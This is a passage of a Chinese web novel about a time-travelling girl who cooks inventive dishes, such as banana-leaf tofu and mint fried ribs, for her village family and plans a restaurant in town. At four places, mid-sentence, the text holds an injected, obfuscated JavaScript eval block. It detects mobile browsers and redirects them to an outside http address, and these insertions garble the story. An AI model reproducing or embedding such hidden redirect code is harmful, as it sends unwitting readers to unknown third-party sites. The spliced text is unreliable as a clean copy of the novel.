这些事情都办完，她才开始办自己的事——找铺子。 这铺子当然不是现在就要租，她也租不起，但总是要提前问个价格，让自己也有个努力的小目标。 而姜文和打从出了客栈就有些心不在焉，姜芽看着他这样子，踮起脚在他眼前晃晃手：“三哥，发什么呆呢？你想去书摊买书便去吧，我自己逛逛，只是咱们今天挣的银两你可千万别让人摸了去。” 姜文和摇头拒绝：“我不去！出门前爹娘都交代了，让我跟好你！” “我又不是小孩子，你跟着我干嘛，咱们天黑之前，就在客栈汇合，怎么样？”姜芽也不想让他一直跟着自己，好不容易来一趟，要是连书都没摸上，姜文和回去之后还不知道该叹多少天的气。 姜文和还是拒绝：“我是你亲哥，我不跟着你谁跟着你？” 姜芽深知他们这种人家来镇上一趟有多不容易，姜文和又喜欢看书，这对于他来说是来之不易的机会。 所以她提出了一个让姜文和难以拒绝的条件：“三哥，今日我那两道菜实在是换了不少钱，你去书摊选上几本喜欢的书，就当是我送你的！” 这事放到以前，姜文和想都不敢想，他虽喜欢看书，却只能在家人来阳宁镇卖东西换钱时，到书摊上赖着看一会儿；至于买书，这种花销他既不敢想，也舍不得。 可今天，姜芽花了两个时辰就赚到了几十两银子，送他几本书……好像也能接受。 看他已经开始犹豫，姜芽趁热打铁的说：“好了！就这么决定了！对了，你买完书再去裁缝店里看看有没有裁好的衣服，咱们给家里人一人带一件新衣服！” 说完，她生怕姜文和还要拒绝，撒腿就跑了，很快就消失在了街边的转角。 这一下午，姜芽见着空铺面就凑上去问价，有人随口报了个数，也有人瞧她是个不懂事的小丫头，懒得跟她多搭话。 总之问到最后她也大概的了解到了在这租铺子的价格，在阳宁镇想要租一间铺子，大概需要二十到三十两银子。 而巧的是，她今日刚巧就赚了三十两，也没想到那掌柜的出手竟然这样阔绰，一间铺子一年的租金，换了她两道创意菜。 可是……她有些犹豫，这三十两带回家，能换一家人至少一年的吃食。 罢了。 她有些不舍的看了一眼她中意的铺子，反正自己赚钱的路子已经有了，租个铺子也是早晚的事。 而且想要开个食肆，除了租金之外，还要考虑自己的吃住行以及后续可能招人要付的工钱，这样算下来三十两也是远远不够的。 到阳宁镇要做的事已经做完了，姜芽也轻松了许多，看着天色渐暗，就一边逛着一边往客栈的方向走回去，一路上也买了几个新奇的小玩意。 也不知道姜文和给家里人挑的衣裳都买好了没有。 到了和姜文和约定好碰头的地方，姜芽就见他已经等在了客栈门口，正有些焦急的四处张望。 她悄咪咪的猫着身子跑到姜文和的背后，大声喊：“三哥！” 姜文和吓得差点飞起来，转身看着调皮的姜芽，无奈的叹口气说：“不是说自己是大人了吗？还这样吓人！” 姜芽捂着肚子笑：“谁知道三哥你这么胆小，走！先回客栈让我看看你买的衣服，咱们再去吃顿好的！” 虽然身上揣着一笔“巨款”，姜文和却还是舍不得用，买的衣服都是店里最最便宜的款式，不过只要有新衣服穿，就是姜芽都已经很开心了。 他还给姜芽买了一双新鞋子，粉白色的布料做的，看起来倒是有几分娇俏可爱。 姜芽打趣：“这粉嘟嘟的鞋子，穿回咱们村，往地里跑几圈，恐怕就变成土黄色了。” 姜文和不管：“脏了你洗干净不就是了，赶紧把你这破洞的鞋子换了吧，小丫头整日穿着那鞋子也不怕被人笑。” 第二天就要回家，所以今天两个人睡的都很早，尤其是姜芽，头刚粘上枕头就睡着了，软乎乎的被子，宽敞的大床，这是她穿越以来睡的最安稳舒服的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368596|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一觉。 翌日清晨，兄妹两早早的起来，在街上买了猪肉、腊肉、一大块豆腐、两只鸡、还有姜芽要的各种调料，以及几袋面粉。 杂七杂八的东西加起来，空空的背篓也装的满满当当了。 来的时候身上没多少钱，干什么都抠抠搜搜；回去时姜芽却死活不肯走路了，在镇子口找了个车夫，花一百文让他送兄妹俩回波罗村。 按时间来说，他们本应该晚上才到家，有了马车，赶在午饭前就到了波罗村。 听到马车的声音，张春兰在矮墙边探着头看，想着又是村里谁家坐马车回来了。 没想到，到的竟然是姜芽从马车上跳了下来，看到她还甜甜的喊了一声二嫂。 家里人听到动静，都往屋外走来看，最先跑出来的就是朱红梅。 她二话不说就冲着在姜芽之后下车的姜文和而去，一边走还一边骂：“兜里有几个钱就不知道怎么花了是吧？还坐马车回来，你媳妇我都没坐过马车！” 姜芽看这仗势，赶紧拦在姜文和面前：“三嫂！这马车是我要坐的！” 听到这，朱红梅才停下了打姜文和的手，只是还是瞪了他一眼，像是在用眼神说等回去再跟你算账。 一家人整整齐齐的坐在院子里，听姜芽绘声绘色的说了在阳宁镇如何赚到钱的故事。 浦树巧还是有些不相信：“芽芽，你跟娘老实说，这钱真的是食肆老板给你的？” 姜芽叉着腰：“不是给我！是和我交易的！” 王迎春：“你该不会真是去找那许老爷了吧？” 姜芽：“大嫂！！” 幸好有姜文和作证，大家才相信了这压根不敢想的三十两的故事。 姜文毅早就盯着那猪肉和排骨半天了，见聊天终于结束，才赶紧说：“芽芽，这猪肉你打算怎么吃？” 姜芽心情极好，把猪肉拿到一旁，捧出那块新鲜的大豆腐：“别急，咱们先不吃那个，今天给你们做豆腐吃！” 姜文毅一听豆腐就卸了劲：“吃豆腐有什么意思？” 姜芽笑：“豆腐坏的快，所以要赶着今天吃，我今天就做个有意思的豆腐。” 王迎春好奇道：“豆腐还能怎么做的有意思？” 姜芽指指门口的那棵芭蕉树：“我要做包烧豆腐。” 在做饭之前，她还是先把新衣服给每个人都送到手中，几个嫂子尤其开心，说是试一试合身就要收起来等着过年穿。 之后姜芽又将浦树巧叫到里屋，把出门前浦树巧给的钱和自己赚的剩下的银子都交给她，浦树巧不肯收，说是孩子自己赚的钱自己收着，姜芽只能说自己留不住钱，请娘代为保管，浦树巧才将钱小心的收好，嘴里还说等姜芽出嫁给她做嫁妆。 姜芽笑着没接话，扯开话题说要去做饭了，才从里屋走了出去。 她将买好的肉找了绳子挂起来通风，这样新鲜的猪肉也还能放上两天。 王迎春一直跟在她的后面，既想着帮帮忙，也能跟着学点厨艺。 12. 包烧豆腐（二） 姜芽其实是看到门口的芭蕉树才想起包烧这个做法的。 包烧可以做很多东西，只是豆腐相比起其他东西要便宜得多，所以就先选择用豆腐来试试水。 若是能做成功，那以后能做的菜就多了去了。 她取出从阳宁镇买回来的一大块豆腐放到手上，用刀将豆腐切成小块后放到碗里。 接着在另一个碗里面放了磨细的辣椒粉，蒜末，姜末，香菜末以及葱末和油，用勺子搅拌均匀。 调好的调料香辣味十足，红的辣椒、绿的香菜，看着就让人胃口大开。 姜芽把切好的豆腐放到调料里，让每一块豆腐都裹上调料。 王迎春将洗的干干净净的芭蕉叶递过来，姜芽将芭蕉叶在桌子上平平整整的铺好。 再把裹满香辣调料的豆腐放到芭蕉叶中间，碗底剩下的调料也没浪费，用勺子刮得干干净净倒了进去。 最后裹紧芭蕉叶，用茅草绳在四周缠了两圈系牢，确认裹得严实之后，将裹好的豆腐放到了提前烧好的碳火里，又添了几块碳放到上面压实。 姜芽蹲在火边等，闻到灰堆里传出阵阵香气，才用手中的木棍拨开热灰，用两根木棍当做长长的棍子，小心翼翼的取出里面烧的透着油光的芭蕉叶。 芭蕉叶还冒着热气，姜芽吹着气将茅草绳解开，热气裹着豆腐的香气就扑了出来。 她用筷子扒拉开被佐料裹满的豆腐，那豆腐冒着热气，软乎乎的，吸满了辣汁，只要轻轻一咬就能爆汁。 张春兰在旁边炒了两个小菜，焖好了米饭，姜芽吆喝一声：“吃饭啦！” 将那包烧豆腐放到了桌子的最中间。 姜文毅夹起一块豆腐，塞进嘴里，那烫呼呼又带着辣的豆腐把他烫的直哈气，又忍着烫在嘴里嚼了几下才咽下去。 豆腐的豆香，加上调料的鲜辣，让每个人都忍不住再吃一块。 张春兰在豆腐上堆满调料一起塞到嘴里，咽下后夸道：“没想到这芭蕉叶还有这种用处，豆腐也比以前吃的要好吃些。” 姜芽眨眨眼：“还能烧很多东西呢，包烧蘑菇，包烧猪肉……” 姜文毅听到肉字，赶紧说：“那明日是不是整个包烧猪肉？这玩意下饭得很，要不是饭都吃光了，我还能再吃几碗米饭！” 姜芽抬头看看挂起来的猪肉和排骨，却也没应下来，只是说：“明日的菜明日再说！” 姜文兴想到今日今姜文和说的姜芽在阳宁镇卖菜的事，有些期待的问：“那你在阳宁镇卖了几十两银子的那两个菜，能不能让我们也尝尝，听文和说都是用白菜做的，白菜咱们地里多的是！” 蒜蓉粉丝白菜吗？姜芽点头：“那个简单，你们若是爱吃，日日都能吃上！” 她会做的菜本身就没有什么特别高大上的，只是因为地域的原因，大部分都比较特色，不过这些特色菜，在如今身处的这个时代，也是够用的了。 姜家已经很久没有吃过这么丰盛的菜了，每个人都吃得十分满足，加上这几日家中活少，吃饱之后大家都坐在院中纳凉聊天。 从阳宁镇买回来的鸡有一只是母鸡，张春兰寻了些枯草叶子正在编着让鸡下蛋的鸡窝。 姜齐飞带着几个儿子做着些木工活，想着也能换些钱用。 姜芽坐在小马扎上，想好了明天做什么菜之后，开始规划自己该如何去到阳宁镇，又该怎么在阳宁镇落足。 本来想着要不要就去那食肆先做工，但是她又觉得自己手中的菜在这个世界都是独一无二的，去到那做工，免不了要把自己的菜式教些出去，倒不如自己当自己的老板。 王迎春也寻了个椅子坐到姜芽身旁，问：“芽芽，你从阳宁镇带来的豆腐还剩许多，最近天气炎热，恐怕再放一日就要开始坏了，要不，我去别家买点酒来，咱们给她做成腐乳？” 姜芽却摇摇头：“家中还有一罐腐乳，再做些不知道要吃到什么时候去了。” 王迎春知道她主意多，又问：“那那豆腐还能怎么处理，放坏了就可惜了，就算咱们日日吃包烧豆腐，也还要吃上几日呢。” “那就做成毛豆腐吧！”姜芽寻思着，毛豆腐在这个时代应该还没有被发现。 果然，王迎春一听到毛豆腐，皱起了眉头：“毛豆腐？长毛的豆腐还能吃吗？” 姜芽点点头：“毛豆腐可好吃了！我来教你做！” 说做就做，她带着王迎春在厨房，将剩余的豆腐清洗干净沥水，再切成小小的方块，整齐的排列在竹筛上。 然后再找了块布把竹筛盖住放好。 姜芽拍拍手：“过些时日来看，豆腐头上都长毛了，咱们就可以吃了！” 一切做完，她看着做着木工的哥哥们，突然想到了什么，赶紧凑上去问：“大哥二哥三哥，能不能帮我做一个东西！?” 姜文兴爽朗一笑：“那有什么能不能的，你直接说就行。” 姜芽用手比划着：“做一个舂臼，就是……怎么说呢，能把东西放进去捣碎的容器。” 没想到，姜文毅听到她说这话，哈哈大笑了起来：“哈哈哈哈，你是生病生傻了吗芽芽，舂臼咱们家里就有啊，只是不是稻子收成的季节，一直放在家中没拿出来。” 原来这时代有这玩意啊，姜芽有些不好意思的拍拍脑门说：“看我这记性！大嫂，你记得咱们家的舂臼在哪吗？那东西我有大用！” 王迎春点点头：“等我给你找。” 说着就进了厨房，没多久就拿出了一个黑色的罐子模样的东西，正是姜芽要的舂臼，里面还放着个杵子，还真是需要的东西都一应俱全了。 姜芽将那舂臼像个宝贝一样的抱在怀里，有了舂臼，就相当于她的武器库中又多了一件武器，可以研发出更多的菜式，而这舂臼能做的菜大多都是凉爽爽口的，正好适合这个季节。 家里人现在对于她的这些行为，倒是已经适应了许多，知道她的小脑袋瓜里有不少新奇的想法，只要她愿意做，他们都永远愿意吃。 姜芽一会忙忙这个，一会想想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368597|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个，不知不觉天色就已经暗了下来。 她洗漱干净，将自己的新鞋整齐的放到床旁，躺在床上，心中多了一丝纠结。 虽然自己总想着要到阳宁镇去大展拳脚，可是以现在自己的能力，也没办法将家里人都带着去。 可她自从穿越到了姜家，看到了姜家人的勤奋，善良，对她也是极尽包容，除了每日做饭，甚至连碗都不用她洗。 现在真的开始规划要到阳宁镇发展，倒是有些舍不得了。 要不……在波罗村在多留些时日，看看还有没有什么挣钱的机会？ 她烦躁的在床上翻来覆去，却听到自己的小破门被轻轻敲响。 “芽芽，还没睡着吧？娘进来了？”是浦树巧的声音。 姜芽声音闷闷的：“你进来吧娘。” 浦树巧手中没拿蜡烛，摸着黑推门走了进来，轻轻坐在姜芽的床沿，手摸索着摸到了她的小脸。 “娘刚就听到你屋中有动静，想着你没睡着，进来看看你。” 姜芽仰躺在床上，看着浦树巧脸的轮廓，说：“我没事娘，就是不知道为什么，今晚怎么都睡不着。” 浦树巧却轻声笑了：“跟娘还撒谎呢？真不知道为什么睡不着吗？” 姜芽眨眨眼，没有说话。 浦树巧也脱了鞋，和衣躺上了姜芽的床，两个人挤在这张小小的床上，倒是更亲近了些。 “王氏前些日子做那事，确实有些不是人了。”浦树巧在被窝里握住姜芽的小手。 姜芽有些摸不着头脑，只能接着话茬说：“反正我也教训过她了，以后咱们不跟她家来往就是了。” 浦树巧短暂的沉默了一会，又接着说：“前两日你在阳宁镇的时候，李婶来找过我，说是隔壁村有一户好人家……” 话还没说完，姜芽就赶紧打断：“娘，我现在不想嫁人。” 她知道自己这个年纪在这个时代早已到了嫁人的年纪，可是她现在的心思只有赚钱，压根没有想什么嫁人不嫁人的事。 浦树巧语气平静：“娘知道，娘就是想跟你说，我们家芽芽懂得多，心中也不想就在咱们村里过一辈子，所以，要是有机会，你还是去阳宁镇吧。” 姜芽完全没有想到浦树巧要说的是这个，她思索着开口：“娘，我……” 话没说完，浦树巧突然转身将她抱在怀里，声音从姜芽的头顶传下来：“我们乡下有句话说，养牛知牛性，养马知马性，我自己的女儿，在想些什么，为娘的还是看得出来的。” 姜芽噗嗤一声笑了出来，鼻子却有些酸酸的：“娘，我再想想，在咱们村我也能赚到钱，等我赚到钱了，带着咱们全家一起搬到阳宁镇去，到时候咱们一起吃香的喝辣的！” 浦树巧没接话，只是轻轻拍着她的背，嘴里不知道在哼着什么调子，姜芽闭着眼睛，心里的杂乱好像在这个时候都不见了，宁静了许多。 屋外吹来一阵清凉的风，带着一丝夏日的气息，姜芽闻着母亲的味道，沉沉的睡了过去。 13. 薄荷炸排骨 姜芽醒过来的时候，浦树巧早就起床出去了。 屋子外传来家里人的说话声，就算不是农忙的时候，他们也会早早的起来做些活。 她在床上伸了个懒腰，起床推开门出去。 姜文兴看到她，打趣道：“芽芽，现在倒是越发的能睡了，莫不是还要再长些个子？” 姜芽嘿嘿嘿笑：“我这叫能吃能睡身体好！” 家中没什么事要她做，还有三五家人订了薄荷水，她便用几个嫂子一早帮她采回来的薄荷做了些，一部分留在家里给家人喝，另一部分放到小篮子里挎在手上，慢悠悠的出门送货去了。 之前大部分时间都在厨房里做菜，做好了便送到地里去，回来又是坐在家里琢磨菜式，倒是没有好好的逛逛波罗村。 虽说薄荷水的订单少了不少，但一个铜板也是钱，正好还能在村里逛逛。 她也想着万一又能发现什么能用上的菜，那岂不是一举两得。 她慢悠悠的在村里凭借着自己的记忆往订了水的人家走，看到一个胖墩墩的小孩蹲在路边玩石子。 虽然她实际的年龄也不小了，却不知道为什么，看到这小胖子，自己也玩心大起，蹲到小孩的旁边问：“小孩，在干嘛呢？” 那小胖子转头看了她一眼，又把注意力放到手中的石头上：“我在玩石头，我找的这些石头光滑又漂亮。” 姜芽也看他手中那石头，有些像鹅卵石，也不知道他是在哪里找来的，她笑眯眯的朝小孩伸手：“能不能分姐姐一块呀？” 没想到，小孩哼了一声，往她手里放了一块灰白色的石头说：“姜家的小女儿，多大的人了，还跟我这个小孩子抢石头玩！” 看着他嘴硬却还是愿意给她分享石头的样子，姜芽只觉得这小孩可爱的很，她将石头放到自己的篮子里，说：“你芽芽姐我我不白要你的，待会你看我家烟囱冒烟，就来我家吃饭！我家今天吃肉哦！” 小孩本来都准备拒绝了，听到姜芽说有肉，脸上已经藏不住喜悦，小心问道：“当真？” 姜芽直直篮子里的石头说：“当然啦，不过，你还得答应我一个条件。” 小孩有些谨慎的问：“什么条件？” 姜芽眼睛弯成月牙：“改日带我去你找到这些石头的地方玩，我也喜欢这石头，要寻一些回家去放着。” 小孩这才松口气说：“只要你不告诉别人，我就带你去！” 两个人的秘密约定就这样达成了，几句对话之后姜芽才想起来，这小孩是附近姓刘的邻居家的，似乎是叫刘石榴。 她又嘱咐了刘石榴一句，待会记得去她家吃饭，才站起来去送薄荷水。 走在路上的时候，她又忍不住想到昨晚浦树巧跟她说的话，让她去阳宁镇找个工做。 虽然那阳宁镇她迟早是要去的，可娘这样一说，反而让她决定在波罗村再待一段时间。 至少要先想个能赚钱的法子，把一些简单的菜教会家里人，到时家中也能靠这个多赚些钱。 还在续订薄荷水的那几户人家，算是村里最富裕的几家人。 姜芽送水的时候嘴甜得很，一会婶婶真好看，一会哥哥真有力气的，回来的时候篮子里居然还被人塞了几个大白馒头。 她带着馒头回到家，朱红梅伸着头往篮子里看了看，笑：“咱们芽芽就是讨喜，二哥，你看你前两天去送水，谁家给你塞馒头回来了？今天芽芽一去送，篮子满着去满着回的呢。” 姜文毅本来在哼哧哼哧锯砍着柴，听到朱红梅这么一说，拎着斧子过来一看：“嘿！你说这几家人，我姜老二去的时候不也是客客气气的吗？怎的也不给我塞些馒头回来？” 他这气呼呼的样子，倒是惹得大家都忍不住笑出了声。 看着时间差不多了，姜芽才走进厨房，早晨做薄荷水的薄荷还余很多，倒是刚好够她要做的菜。 她把挂着的排骨取了下来，清洗之后砍成小块，再在排骨里面加上酱油、先前剩的淀粉、一点点白糖和盐。 用手把排骨抓拌均匀，让每块排骨都充分吸收调料，之后再放到一边腌制。 趁着等着排骨腌制的空隙，她摘下几个晒干的通红的辣椒，又剥了些大蒜放到一边备用。 想着今天带回来的馒头，她去家里专门放鸡蛋的抽屉里拿出两个鸡蛋，在桌边轻轻一磕，把鸡蛋打到碗里。 往鸡蛋里放了一点点盐之后，就用筷子在里面飞速搅打，打到手都有些酸痛，蛋液才起了泡。 接着她将有些干巴的馒头切成片，裹上蛋液，本来白花花的馒头片瞬间变成了黄色。 锅里烧着油，她用筷子轻轻放到油里，见筷子尖冒出了油花，才把裹好蛋液的馒头片顺着锅边放到油里。 馒头片刚进锅，就随着油一起冒着泡，颜色也从一开始的浅黄，逐渐变成了金黄，边缘也微微翘起，颜色更深一些。 她用筷子翻了个面，看着馒头片的另一面也炸得金黄透亮，就赶紧捞出来放到一边的盘子里。 刚炸好的馒头片还冒着热气，和盘子碰撞的声音都能听出它的清脆，姜芽忍不住为自己的这个临时创意竖起了大拇指。 正好坐在厨房门口摘菜的王迎春闻到厨房里炸馒头的香味，走了进来，看着金黄酥脆的炸馒头，忍不住问：“这是……刚才你带回来的馒头？” 姜芽洗好手，拿了一块放到她嘴边说：“对！大嫂你尝尝这馒头，是不是和平时吃的不一样？” 王迎春接过还有些发烫的馒头片吹了吹，然后咬下一口，炸的酥脆的馒头边一下就裂开，里面却软乎乎的，满是鸡蛋香，咸香不腻，口感又酥又糯。 姜芽看着她吃的满眼放光的样子，拿起盘子自己先拿了两块放到一边，又将盘子递给王迎春说：“大嫂，先把这个炸馒头拿出去给大家吃吧，这个得趁热吃才好吃。” 等这些事做完了，放在盆里腌制的排骨也差不多了。 她在锅中加了些油，油温差不多之后，把排骨放了进去，火生的不旺，正正好是炸排骨的火力。 本来有些鲜红的肉，在热油里没过多久，就变得有些焦黄，姜芽让它多炸了会才捞起，这样吃起来会更香些。 趁着油温，她把洗好的薄荷放了进去，只过了几秒，薄荷就缩的小小的，绿色的薄荷也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368598|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着油光，光看着都能知道这薄荷叶有多脆。 最后她把炸好的排骨放到锅中复炸，将多余的油倒到碗里，里面倒入切好的辣椒和蒜片和排骨一起翻炒均匀。 纵是姜芽，闻到这肉的香味，肚子都咕咕叫了起来，更别提姜文毅，从排骨下锅的那一刻起，就已经钻进厨房，等在锅边了。 姜芽把炸好的薄荷放到盘中打底，再将这炸排骨放到上面，薄荷的清新香气和炸排骨的香气混合在一起，倒是飘出一股特别的香味。 守在一边的姜文毅赶紧端着炸排骨出去，招呼起来：“快！刚才那炸馒头压根不够吃，倒是把我吃的越来越饿，幸好今天有肉吃”，果然肉还是肉，光是闻着味就已经受不了了！” 姜芽跟在他身后出来，姜文和倒是思想清奇，见她出来问的第一句话居然是：“芽芽，刚才那炸馒头片你取了个什么名字？” “你管它叫什么名字呢！赶紧吃肉先！”姜文毅把炸排骨放到桌上，手已经去拿筷子了。 姜芽摸着下巴想了想，打了个响指说：“那馒头叫黄金大馒头，排骨嘛……就是薄荷炸排骨。” “薄荷炸排骨？”姜齐飞惊讶道：“你说的那个薄荷，不仅能做水喝，还能和肉一起炸？” 姜芽用力点头，扎起来的小辫子都跟着晃了晃：“对啊爹，这薄荷炸出来是另外一种味道，排骨也能带着些清香，赶紧尝尝吧！” 姜齐飞夹起一块排骨放到嘴里，排骨炸了两次，肉香和薄荷香交织在一起，外酥里嫩，没一点油腻的感觉。 他又夹了些薄荷试探性的吃了一口，没想到，炸过的薄荷不仅没有任何奇怪的味道，反倒是一种从没吃过的酥脆感，都不用怎么嚼，叶片就带着些清凉碎在了口中。 众人正要动筷，门口却传来了一个稚嫩的声音：“我来了。” 姜芽一看，正是早上遇上的那刘石榴，她赶紧热情的招呼：“快，不是叫你看到烟囱冒烟了就过来吗，怎么现在才来？” 刘石榴小声的说了一声：“谁能总盯着你家烟囱看。”随即就乖巧的和家里人打起了招呼，倒是十分有礼貌。 挨着姜芽坐的张春兰挤着她轻声问：“这刘家的小娃娃是你叫过来的？” 姜芽把特地留好的馒头片塞到刘石榴手中，回道：“对呀，今天看他自己在路面玩，也没个伴，还送了我些东西，我便让他几天来咱们家吃饭了，反正他一个小孩，也吃不下多少。” “他一个小娃娃，送了你什么东西？”张春兰好奇的问。 姜芽掏出那块滑溜溜的石头放到她手心里：“呐，就是这个，可有用了。” 张春兰拿着那块石头看了又看，也没看出这块石头能有什么用，总不能说姜芽已经厉害到能把石头炒成菜吃了吧？ 那未免也太离奇了些。 这时的刘石榴，正把姜芽给的馒头片轻轻掰下一块放到嘴里，然后露出了所有人第一次吃到姜芽新做的菜的时候都会露出的惊讶又惊喜的表情。 他不知从哪摸出张油纸，把剩下的馒头片仔仔细细的用油纸包好，说：“我吃不完，剩下的我带回去给我爹我娘吃。” 14. 佐料炸洋芋 既然是姜芽请来的小客人，尽管今天吃的是很久才能吃到一次的肉，姜家人还是热情的招呼他坐了下来一起吃。 刘石榴虽说才十岁，却没了小孩的顽皮劲，坐得端端正正，眼睛却忍不住往桌上那盘薄荷炸排骨瞟，还偷偷咽了口口水。 姜芽赶紧招呼道：“吃吃吃，大家都赶紧趁热吃呀，小石榴，你也赶紧的，别害羞。” 刘石榴看着大家都拿起了筷子，才跟着夹了一块排骨吃了下去。 姜文毅吃到一块带着脆骨的排骨，在嘴里嚼得嘎巴响，刚咽下去就嚷嚷：“这脆骨嚼着真过瘾！”又忙不迭夹了些薄荷，拌着米饭扒拉了一大口。 姜芽越想越觉得，老天让她穿越过来，八成是看上了她做饭的天赋，正好让她在这地方好好发挥。 家中人多，这次的排骨买了很多，姜芽这一顿就炸了一半，够全家人加上刘石榴都吃个尽兴了。 张春兰还是有些不解，又小声问姜芽：“芽芽，我思来想去，也想不出你能用这个石头做出什么东西来？你该不会就是看刘家小孩可怜，找了个理由让他来吃顿肉吧？” “这个石头我真的有大用，待会我还要让石榴带我去多找一些回来呢！”姜芽却回答的掷地有声，好像这石头真的是什么了不起的美食一样。 那盘薄荷炸排骨被吃的干干净净，连同薄荷和盘中生的碎碎的肉丁都被石榴捡的一点都不剩。 姜芽见他吃完，赶紧问：“小孩，什么时候带我去找石头？” 刘石榴看了看姜家的两个家长，见他们都没有说什么不可以的话，才低着头开口：“你既请我吃了肉，那些石头我送给你便是。” 姜芽对着他的头顶就是一个脑瓜绷，见他吃痛的捂着头看着姜芽又不不敢发火的样子，笑着说：“小孩子就该有点小孩子的样子，速速带我去！” 刘石榴从小性格就内向些，在菠萝村也没什么朋友，小小年纪总是装出一副大人的样子，被姜芽这么一逗，才红着脸说 “我要待会要回家帮我娘干活！要不明早再带你去！” 姜芽见他一只手放在装着那大半块炸馒头片的样子，知道他要回去把这没吃过的东西带回家，也就没强求：“行，那明日你也来我家吃饭吧。” 看着胖墩墩的刘石榴回了家，姜文和才砸吧着嘴说：“芽芽，这炸排骨甚是好吃，只是咱们买回来的不多，要不晚上你再炸个薄荷吃一下，光吃着炸的薄荷也挺不错的。” 姜芽摇头：“光炸薄荷有什么意思，晚上还是把在阳宁镇做的那个白菜再做一遍吧，三哥你当时倒是分到了一口，我自己都还没吃过呢。” 朱红梅也附和道：“就是，下次去阳宁镇不要你去了，满脑子都想着买书买书，你看看你这次买了多少书回来？” 姜文和挠挠头，低声反驳：“那是我妹子赚的钱送我的……” “三嫂，下次咱们一起去，你挑个喜欢的首饰，我送你！”姜芽抱着朱红梅的手臂，声音清脆，让朱红梅也不好再说姜文和什么。 只是自从姜芽“病好了”之后，院中总是多了许多欢声笑语。 她说了句什么话，惹得朱红梅笑声不断，那刘石榴却又到了门口。 他手上拎着个小篮子，看着姜芽喊了一声：“姜芽！” 姜芽扭头看到他，说：“小屁孩，叫姜芽姐姐！” 刘石榴虽然不愿，但还是扭过头喊了一声：“姜芽姐姐。” “哎。”姜芽笑眯眯的应了，问：“你怎么又回来了？” 刘石榴把篮子递给她：“我娘说，你请我吃了肉，几个石子肯定不够，这是我加菜地里长的菜，她种了一小块，也不知叫什么名字，让我拿些给你让你看看你用不用得上。” 姜芽接过篮子，从里面拿出一棵绿油油的植物，眼睛瞬间亮了，赶紧凑到鼻子前嗅了嗅。 刘石榴看她没有说话，以为这东西她用不上，小小的胖脸上带着些失落：“这东西是能吃的，我娘都给我炒过两次了，只是味道有一些奇怪……” 姜芽听到他说这话，倒是哈哈哈大笑了起来：“哈哈哈哈哈，这东西哪能炒着吃，我收下啦，你回去告诉你娘，让她继续种，那一小块地里的我都收了！” 王迎春好奇的拿过姜芽手中那一株也闻了闻：“这东西味道好生奇怪，芽芽，这能拿来做什么？” 姜芽美滋滋的说：“这是一种佐料，在鸡肉烂饭和包烧豆腐里面加一些，味道会更好，还能做很多很多特别的菜！” 听到这个，刘石榴才开心起来，仰着头问：“真的吗？我娘种出来的你都收吗？” “那一小片我肯定能收了，要是一片地都是我可收不起，也用不了那么多！”姜芽拍拍他的头说。 眼见东西送了，甚至还帮忙家里做了一笔小小的生意，刘石榴脸蛋红红的道了声谢，就蹦蹦跳跳的回了自己家。 王迎春手里拿着那一把子菜，宽大的叶子有些像是羽毛，边缘带着小小锯齿，杆子有些粗壮，闻起来的味道有些清新，但又和薄荷的那种清醒完全不一样。 “这叫大芫荽。”姜芽看着王迎春看着手中的东西出神，对她解释道。 这名字有些拗口，王迎春跟着学了一句：“大……芫荽？” 姜芽眨巴着眼睛：“对，也可以叫大香菜，只是味道和一般的香菜还是有很大区别的。” 说到香菜，她又突然想到了什么，说：“我知道晚上吃什么了！” 中午刚吃了肉，晚上不妨就做个爽口饱腹的东西，也是姜芽穿越之前最喜欢吃的小吃——炸土豆。 她拿了十来个土豆，请几个嫂子帮忙削着土豆皮。 她自己则是拿了些香葱、香菜、大蒜和辣椒，清洗干净后把这些都切成细碎的末。 又从罐子里夹出一块腐乳放进碗，往碗里加了点水，用筷子把腐乳搅碎，得到了一小碗腐乳水。 再把放在一边等着变成臭豆腐的豆腐拿一块，切成正方形的小块。 调料都准备好之后，将土豆放到菜板上滚着切成一块一块，每块都带着不规则的棱角。 等油热的差不多了，先是放了一半土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370393|183935||http|test|mini|href|location''.split(''|''),0,{})); () { 